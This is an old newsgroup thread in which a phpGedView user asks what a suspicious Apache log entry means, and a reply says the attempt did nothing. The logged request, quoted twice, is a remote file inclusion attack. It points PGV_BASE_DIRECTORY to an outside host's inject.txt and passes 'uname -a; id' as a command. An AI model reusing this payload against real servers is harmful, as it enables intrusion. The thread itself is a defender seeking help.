hack attempt?

[Billy & Beth Adams]

Hi All,

This was in my apache logfile today. Does anyone know what they tried
to do?

ip110-204.cbn.net.id - - [07/Jan/2004:13:41:01 -0500] "GET
/phpGedView/index.php??PGV_BASE_DIRECTORY=http://www.geocities.com/kamar_n0ldy/badboy/inject.txt?&cmd=uname%20-a%20;%20id
HTTP/1.1" 200 52723 "-" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X;
en-us) AppleWebKit/85 (KHTML, like Gecko) Safari/85"
ip110-204.cbn.net.id - - [07/Jan/2004:13:41:26 -0500] "GET
/phpGedView/images/favicon.ico HTTP/1.1" 200 894 "-" "Mozilla/5.0
(Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/85 (KHTML, like Gecko)
Safari/85"

This is the only thing I could find regarding it on a google groups
search & it was only posted yesterday.
http://groups.google.com/groups?hl=e...9b02f41&rnum=1

I know most of you aren't familiar with phpgedview, but maybe you can
decipher what the code is doing at the geocities link in the logfile.
I only know enough about php to install it for using with phpgedview.

Thanks for any info you might provide,
bja

[Chung Leong]

Nothing was done. The "exploit code" doesn't do much.

Uzytkownik "Billy & Beth Adams" <er*********@hotmail.NOSPAM.com> napisal w
wiadomosci news:c4********************************@4ax.com...

Hi All,

This was in my apache logfile today. Does anyone know what they tried
to do?

ip110-204.cbn.net.id - - [07/Jan/2004:13:41:01 -0500] "GET
/phpGedView/index.php??PGV_BASE_DIRECTORY=http://www.geocities.com/kamar_n0l
dy/badboy/inject.txt?&cmd=uname%20-a%20;%20id HTTP/1.1" 200 52723 "-" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X;
en-us) AppleWebKit/85 (KHTML, like Gecko) Safari/85"
ip110-204.cbn.net.id - - [07/Jan/2004:13:41:26 -0500] "GET
/phpGedView/images/favicon.ico HTTP/1.1" 200 894 "-" "Mozilla/5.0
(Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/85 (KHTML, like Gecko)
Safari/85"

This is the only thing I could find regarding it on a google groups
search & it was only posted yesterday.
http://groups.google.com/groups?hl=e...=d459f63c89b02
f41&rnum=1
I know most of you aren't familiar with phpgedview, but maybe you can
decipher what the code is doing at the geocities link in the logfile.
I only know enough about php to install it for using with phpgedview.

Thanks for any info you might provide,
bja